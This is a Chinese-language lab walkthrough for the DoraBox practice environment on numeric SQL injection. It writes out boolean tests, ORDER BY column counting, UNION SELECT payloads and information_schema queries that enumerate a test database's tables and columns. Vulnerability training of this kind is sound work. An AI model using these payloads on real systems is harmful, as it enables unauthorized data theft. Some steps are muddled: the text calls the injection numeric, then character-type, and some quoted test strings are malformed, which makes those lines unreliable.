DoraBox - 掌握常见漏洞攻防
SQL注入篇1–数字型
1.判断数据库有几个
输入1查询
输入2查询
输入3查询
发现再也没有数据库查询出来,也就代表着数据库只有两个
2.判断是否存在注入,注入是字符型还是数字型(其实我们已经知道注入是数字类型,但为了更好的学习,按步骤进行学习)
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
接着我们分别输入
1 and 1=1
1 and 1=2
输入字符类型时可以知道均报错
1' and '1'=1'
1' and '1'=2'
通过这里我们可以判断该地的注入输入字符类型。
3.猜解SQL查询语句中的字段数
输入1 order by 2 #,查询成功:(注意此处的语句,#是注释后面的单引号,前面的’是闭合SQL的“,一定要记住ORDERBY 后加数字不是字符 )
当我们输入字段为3时,还是能成功查询
当我们输入字段为4时,显示查询失败。
这也表示这里的字段数只有3个
4.确定显示的字段位置
-1 union select 1,2,3 #
从结果可以看出来字段显示的位置是2和3.
5.获取当前的数据库名和用户名
-1 union select 1,database(),user() #
通过回显可以看到具体数据库和用户
6.获取数据库中的表名
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest' #
数据库表名为:account,news
7.获取表中的字段名
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account' #
account表中有id,rest,own三个字段
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news' #
news 表中有id,title,content三个字段
从字段拿取信息就不展示了。